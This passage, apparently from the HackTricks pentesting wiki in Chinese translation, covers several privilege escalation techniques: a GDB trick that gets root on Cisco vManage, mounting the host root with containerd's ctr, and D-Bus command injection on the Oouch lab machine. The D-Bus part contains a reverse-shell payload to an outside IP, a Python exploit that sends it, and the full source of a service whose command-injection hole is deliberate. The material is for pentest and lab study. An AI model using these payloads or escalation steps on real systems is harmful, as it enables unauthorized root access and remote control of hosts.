40168f: e8 6c f9 ff ff        callq  401000 <getgid@plt>  <-- HERE
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff        callq  401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
4016ac: 48 85 c0              test   %rax,%rax
4016af: 0f 84 ad 03 00 00     je     401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
4016ba: 48 89 c6              mov    %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …
```

当我运行“ps aux”时，我观察到以下内容（*注意 -g 100 -u 107*）

```
vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
```

我假设“confd\_cli”程序将从已登录用户收集的用户ID和组ID传递给“cmdptywrapper”应用程序。

我的第一次尝试是直接运行“cmdptywrapper”，并提供`-g 0 -u 0`参数，但失败了。似乎在某个地方创建了一个文件描述符（-i 1015），我无法伪造它。

如synacktiv的博客中所述（最后一个示例），`confd_cli`程序不支持命令行参数，但我可以通过调试器影响它，幸运的是系统中包含了GDB。

我创建了一个GDB脚本，在其中强制API `getuid` 和 `getgid` 返回0。由于我已经通过反序列化RCE获得了“vmanage”权限，我有权限直接读取`/etc/confd/confd_ipc_secret`。

root.gdb:

```
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
```

控制台输出:

```
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 你在**网络安全公司**工作吗？想要看到你的**公司在HackTricks上被宣传**吗？或者想要获取**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享你的黑客技巧**。

</details>


# Containerd (ctr) Privilege Escalation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

转到以下链接了解**containerd**和`ctr`是什么：

{% content-ref url="/pages/PugILuEQPS7Q7WGgDa0N" %}
[2375, 2376 Pentesting Docker](/network-services-pentesting/2375-pentesting-docker)
{% endcontent-ref %}

## PE 1

如果您发现主机包含`ctr`命令：

```bash
which ctr
/usr/bin/ctr
```

您可以列出图像：

```bash
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
```

然后**运行其中一个镜像，将主机根文件夹挂载到其中**：

```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```

## PE 2

以特权模式运行容器并从中逃逸。\
您可以这样运行特权容器：

```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```

然后，您可以使用以下页面中提到的一些技术来滥用特权功能**逃离其中**：

{% content-ref url="/pages/zcVYraL309wKa4F2QNBc" %}
[Docker Security](/linux-hardening/privilege-escalation/docker-security)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# D-Bus Enumeration & Command Injection Privilege Escalation

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## **GUI枚举**

在Ubuntu桌面环境中，D-Bus被用作进程间通信（IPC）中介。在Ubuntu上，观察到多个消息总线的并发操作：系统总线，主要由**特权服务用于公开系统范围内相关服务**，以及每个已登录用户的会话总线，仅公开对该特定用户有关的服务。这里的重点主要是系统总线，因为它与以更高权限（例如root）运行的服务相关联，我们的目标是提升权限。值得注意的是，D-Bus的架构使用每个会话总线的“路由器”，负责根据客户端为希望通信的服务指定的地址重定向客户端消息到适当的服务。

D-Bus上的服务由它们公开的**对象**和**接口**定义。对象可以类比于标准OOP语言中的类实例，每个实例由**对象路径**唯一标识。这个路径类似于文件系统路径，唯一标识服务公开的每个对象。用于研究的一个关键接口是**org.freedesktop.DBus.Introspectable**接口，具有一个方法Introspect。该方法返回对象支持的方法、信号和属性的XML表示，这里重点是方法，而省略了属性和信号。

为了与D-Bus接口通信，使用了两个工具：一个名为**gdbus**的CLI工具，用于在脚本中轻松调用D-Bus公开的方法，以及[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)，一个基于Python的GUI工具，用于枚举每个总线上可用的服务并显示每个服务中包含的对象。

```bash
sudo apt-get install d-feet
```

![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)

![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)

在第一张图片中，展示了在D-Bus系统总线上注册的服务，特别是在选择System Bus按钮后，**org.debin.apt** 被特别标记出来。D-Feet查询此服务的对象，显示了所选对象的接口、方法、属性和信号，如第二张图片所示。还详细列出了每个方法的签名。

一个显著的特点是显示了服务的**进程ID（pid）和命令行**，有助于确认服务是否以提升的特权运行，这对于研究的相关性很重要。

**D-Feet还允许方法调用**：用户可以将Python表达式作为参数输入，D-Feet会将其转换为D-Bus类型后传递给服务。

但需要注意的是，**某些方法在允许我们调用它们之前需要进行身份验证**。我们将忽略这些方法，因为我们的目标是在首次不需要凭据的情况下提升我们的权限。

还要注意，一些服务会查询另一个名为org.freedeskto.PolicyKit1的D-Bus服务，以确定用户是否被允许执行某些操作。

## **Cmd line枚举**

### 列出服务对象

可以使用以下命令列出已打开的D-Bus接口：

```bash
busctl list #List D-Bus interfaces

NAME                                   PID PROCESS         USER             CONNECTION    UNIT                      SE
:1.0                                     1 systemd         root             :1.0          init.scope                -
:1.1345                              12817 busctl          qtc              :1.1345       session-729.scope         72
:1.2                                  1576 systemd-timesyn systemd-timesync :1.2          systemd-timesyncd.service -
:1.3                                  2609 dbus-server     root             :1.3          dbus-server.service       -
:1.4                                  2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
:1.6                                  2612 systemd-logind  root             :1.6          systemd-logind.service    -
:1.8                                  3087 unattended-upgr root             :1.8          unattended-upgrades.serv… -
:1.820                                6583 systemd         qtc              :1.820        user@1000.service         -
com.ubuntu.SoftwareProperties            - -               -                (activatable) -                         -
fi.epitest.hostap.WPASupplicant       2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
fi.w1.wpa_supplicant1                 2606 wpa_supplicant  root             :1.4          wpa_supplicant.service    -
htb.oouch.Block                       2609 dbus-server     root             :1.3          dbus-server.service       -
org.bluez                                - -               -                (activatable) -                         -
org.freedesktop.DBus                     1 systemd         root             -             init.scope                -
org.freedesktop.PackageKit               - -               -                (activatable) -                         -
org.freedesktop.PolicyKit1               - -               -                (activatable) -                         -
org.freedesktop.hostname1                - -               -                (activatable) -                         -
org.freedesktop.locale1                  - -               -                (activatable) -                         -
```

#### 连接

[来自维基百科：](https://en.wikipedia.org/wiki/D-Bus) 当一个进程建立到总线的连接时，总线会为该连接分配一个特殊的总线名称，称为\_唯一连接名称\_。这种类型的总线名称是不可变的——只要连接存在，就保证不会更改，更重要的是，在总线的生命周期内不能被重用。这意味着即使同一进程关闭与总线的连接并创建新连接，也不会有其他连接到该总线的连接分配到这样的唯一连接名称。唯一连接名称很容易识别，因为它们以—否则被禁止的—冒号字符开头。

### 服务对象信息

然后，您可以通过以下方式获取有关接口的一些信息：

```bash
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface

PID=2609
PPID=1
TTY=n/a
UID=0
EUID=0
SUID=0
FSUID=0
GID=0
EGID=0
SGID=0
FSGID=0
SupplementaryGIDs=
Comm=dbus-server
CommandLine=/root/dbus-server
Label=unconfined
CGroup=/system.slice/dbus-server.service
Unit=dbus-server.service
Slice=system.slice
UserUnit=n/a
UserSlice=n/a
Session=n/a
AuditLoginUID=n/a
AuditSessionID=n/a
UniqueName=:1.3
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
InheritableCapabilities=
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
cap_fowner cap_fsetid cap_kill cap_setgid
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
cap_mknod cap_lease cap_audit_write cap_audit_control
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
cap_wake_alarm cap_block_suspend cap_audit_read
```

### 列出服务对象的接口

您需要具有足够的权限。

```bash
busctl tree htb.oouch.Block #Get Interfaces of the service object

└─/htb
└─/htb/oouch
└─/htb/oouch/Block
```

### 检查服务对象的接口

请注意，在此示例中，使用`tree`参数选择了最新发现的接口（*请参阅前一节*）：

```bash
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface

NAME                                TYPE      SIGNATURE RESULT/VALUE FLAGS
htb.oouch.Block                     interface -         -            -
.Block                              method    s         s            -
org.freedesktop.DBus.Introspectable interface -         -            -
.Introspect                         method    -         s            -
org.freedesktop.DBus.Peer           interface -         -            -
.GetMachineId                       method    -         s            -
.Ping                               method    -         -            -
org.freedesktop.DBus.Properties     interface -         -            -
.Get                                method    ss        v            -
.GetAll                             method    s         a{sv}        -
.Set                                method    ssv       -            -
.PropertiesChanged                  signal    sa{sv}as  -            -
```

注意接口`htb.oouch.Block`的方法`.Block`（我们感兴趣的方法）。其他列的“s”可能表示它期望一个字符串。

### 监视/捕获接口

拥有足够的特权（仅具有`send_destination`和`receive_sender`特权是不够的）可以**监视 D-Bus 通信**。

为了**监视**一个**通信**，您将需要成为**root用户**。如果您仍然发现无法成为root，请查看<https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/>和<https://wiki.ubuntu.com/DebuggingDBus>

{% hint style="warning" %}
如果您知道如何配置一个D-Bus配置文件以**允许非root用户嗅探**通信，请**与我联系**！
{% endhint %}

监视的不同方式：

```bash
sudo busctl monitor htb.oouch.Block #Monitor only specified
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
```

在以下示例中，监视接口`htb.oouch.Block`，并通过错误通信发送了消息"lalalalal"：

```bash
busctl monitor htb.oouch.Block

Monitoring bus message stream.
‣ Type=method_call  Endian=l  Flags=0  Version=1  Priority=0 Cookie=2
Sender=:1.1376  Destination=htb.oouch.Block  Path=/htb/oouch/Block  Interface=htb.oouch.Block  Member=Block
UniqueName=:1.1376
MESSAGE "s" {
STRING "lalalalal";
};

‣ Type=method_return  Endian=l  Flags=1  Version=1  Priority=0 Cookie=16  ReplyCookie=2
Sender=:1.3  Destination=:1.1376
UniqueName=:1.3
MESSAGE "s" {
STRING "Carried out :D";
};
```

#### 过滤所有噪音 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>

如果总线上有太多信息，可以传递一个匹配规则，如下所示：

```bash
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
```

多个规则可以被指定。如果消息符合\_任何\_规则中的一个，该消息将被打印。就像这样：

```bash
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
```

```bash
dbus-monitor "type=method_call" "type=method_return" "type=error"
```

查看[D-Bus文档](http://dbus.freedesktop.org/doc/dbus-specification.html)以获取有关匹配规则语法的更多信息。

### 更多

`busctl`有更多选项，[**在此处找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。

## **易受攻击的场景**

作为主机“oouch”中的用户**qtc**，您可以在`/etc/dbus-1/system.d/htb.oouch.Block.conf`中找到一个**意外的D-Bus配置文件**：

```xml
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->

<!DOCTYPE busconfig PUBLIC
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">

<busconfig>

<policy user="root">
<allow own="htb.oouch.Block"/>
</policy>

<policy user="www-data">
<allow send_destination="htb.oouch.Block"/>
<allow receive_sender="htb.oouch.Block"/>
</policy>

</busconfig>
```

根据先前的配置，请注意**您需要作为用户`root`或`www-data`才能通过此D-BUS通信发送和接收信息**。

作为Docker容器**aeb4525789d8**中的用户**qtc**，您可以在文件\_/code/oouch/routes.py\_中找到一些与dbus相关的代码。以下是相关代码：

```python
if primitive_xss.search(form.textfield.data):
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')

client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
response = block_iface.Block(client_ip)
bus.close()
return render_template('hacker.html', title='Hacker')
```

正如您所看到的，它正在**连接到一个 D-Bus 接口**，并将"client\_ip"发送到\*\*"Block" 函数\*\*。

在 D-Bus 连接的另一侧运行着一些 C 编译的二进制代码。这段代码正在**监听** D-Bus 连接，**接收 IP 地址并通过 `system` 函数调用 iptables** 来阻止给定的 IP 地址。\
**对 `system` 的调用故意存在命令注入漏洞**，因此像下面这样的有效载荷将创建一个反向 shell：`;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`

### 利用它

在本页末尾，您可以找到 D-Bus 应用程序的**完整 C 代码**。在其中，您可以在第 91-97 行之间找到\*\*`D-Bus 对象路径`**和**`接口名称`**是如何**注册\*\*的。发送信息到 D-Bus 连接时将需要这些信息：

```c
/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
```

此外，在第57行，您可以发现此D-Bus通信中**仅注册了一种方法**，名为`Block`（***这就是为什么在接下来的部分中，有效载荷将被发送到服务对象`htb.oouch.Block`，接口`/htb/oouch/Block`以及方法名`Block`***）:

```c
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
```

#### Python

以下 Python 代码将通过 `block_iface.Block(runme)` 将 payload 发送到 D-Bus 连接的 `Block` 方法（注意，此代码段是从之前的代码块中提取的）:

```python
import dbus
bus = dbus.SystemBus()
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
runme = ";bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #"
response = block_iface.Block(runme)
bus.close()
```

#### busctl 和 dbus-send

```bash
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
```

* `dbus-send` 是一个用于向“消息总线”发送消息的工具。
* 消息总线 - 系统用来使应用程序之间通信变得更容易的软件。它与消息队列相关（消息按顺序排列），但在消息总线中，消息以订阅模式发送，而且非常快速。
* “-system” 标签用于指定这是一个系统消息，而不是会话消息（默认情况下）。
* “--print-reply” 标签用于适当打印我们的消息并以人类可读的格式接收任何回复。
* “--dest=Dbus-Interface-Block” Dbus 接口的地址。
* “--string:” - 我们想要发送到接口的消息类型。有几种格式可以发送消息，如 double、bytes、booleans、int、objpath。在这些格式中，“对象路径”在我们想要将文件路径发送到 Dbus 接口时很有用。在这种情况下，我们可以使用一个特殊文件（FIFO）来将命令传递给接口，以文件的名称来代表命令。“string:;” - 这是再次调用对象路径的地方，我们在那里放置 FIFO 反向 shell 文件/命令。

*请注意，在 `htb.oouch.Block.Block` 中，第一部分（`htb.oouch.Block`）引用了服务对象，而最后一部分（`.Block`）引用了方法名称。*

### C 代码

{% code title="d-bus\_server.c" %}

```c
//sudo apt install pkgconf
//sudo apt install libsystemd-dev
//gcc d-bus_server.c -o dbus_server `pkg-config --cflags --libs libsystemd`

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <systemd/sd-bus.h>

static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
char* host = NULL;
int r;

/* Read the parameters */
r = sd_bus_message_read(m, "s", &host);
if (r < 0) {
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
return r;
}

char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";

int command_len = strlen(command);
int host_len = strlen(host);

char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
if(command_buffer == NULL) {
fprintf(stderr, "Failed to allocate memory\n");
return -1;
}

sprintf(command_buffer, command, host);

/* In the first implementation, we simply ran command using system(), since the expected DBus
* to be threading automatically. However, DBus does not thread and the application will hang
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
* multithreading)
*/
int pid = fork();

if ( pid == 0 ) {
/* Here we are in the child process. We execute the command and eventually exit. */
system(command_buffer);
exit(0);
} else {
/* Here we are in the parent process or an error occured. We simply send a genric message.
* In the first implementation we returned separate error messages for success or failure.
* However, now we cannot wait for results of the system call. Therefore we simply return
* a generic. */
return sd_bus_reply_method_return(m, "s", "Carried out :D");
}
r = system(command_buffer);
}


/* The vtable of our little object, implements the net.poettering.Calculator interface */
static const sd_bus_vtable block_vtable[] = {
SD_BUS_VTABLE_START(0),
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
SD_BUS_VTABLE_END
};


int main(int argc, char *argv[]) {
/*
* Main method, registeres the htb.oouch.Block service on the system dbus.
*
* Paramaters:
*      argc            (int)             Number of arguments, not required
*      argv[]          (char**)          Argument array, not required
*
* Returns:
*      Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
*      as long as the user keeps it alive.
*/


/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
signal(SIGCHLD,SIG_IGN);

sd_bus_slot *slot = NULL;
sd_bus *bus = NULL;
int r;

/* First we need to connect to the system bus. */
r = sd_bus_open_system(&bus);
if (r < 0)
{
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}

/* Install the object */
r = sd_bus_add_object_vtable(bus,
&slot,
"/htb/oouch/Block",  /* interface */
"htb.oouch.Block",   /* service object */
block_vtable,
NULL);
if (r < 0) {
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
goto finish;
}

/* Register the service name to find out object */
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
if (r < 0) {
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
goto finish;
}

/* Infinite loop to process the client requests */
for (;;) {
/* Process requests */
r = sd_bus_process(bus, NULL);
if (r < 0) {
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
goto finish;
}
if (r > 0) /* we processed a request, try to process another one, right-away */
continue;

/* Wait for the next request to process */
r = sd_bus_wait(bus, (uint64_t) -1);
if (r < 0) {
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
goto finish;
}
}

finish:
sd_bus_slot_unref(slot);
sd_bus_unref(bus);

return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}
```

{% endcode %}

## 参考资料

* <https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Docker Security

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

## **基本Docker引擎安全**

**Docker引擎**利用Linux内核的**命名空间**和**Cgroups**来隔离容器，提供基本的安全层。通过**Capabilities dropping**、**Seccomp**和**SELinux/AppArmor**提供额外的保护，增强容器隔离性。**认证插件**可以进一步限制用户操作。

![Docker安全](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)

### 安全访问Docker引擎

Docker引擎可以通过Unix套接字本地访问，也可以通过HTTP远程访问。对于远程访问，必须使用HTTPS和**TLS**来确保机密性、完整性和身份验证。

默认情况下，Docker引擎在Unix套接字上侦听`unix:///var/run/docker.sock`。在Ubuntu系统上，Docker的启动选项定义在`/etc/default/docker`中。要启用对Docker API和客户端的远程访问，请添加以下设置以通过HTTP套接字公开Docker守护程序：

```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```

然而，由于安全问题，不建议通过HTTP公开Docker守护程序。建议使用HTTPS来保护连接。保护连接的两种主要方法如下：

1. 客户端验证服务器的身份。
2. 客户端和服务器相互验证彼此的身份。

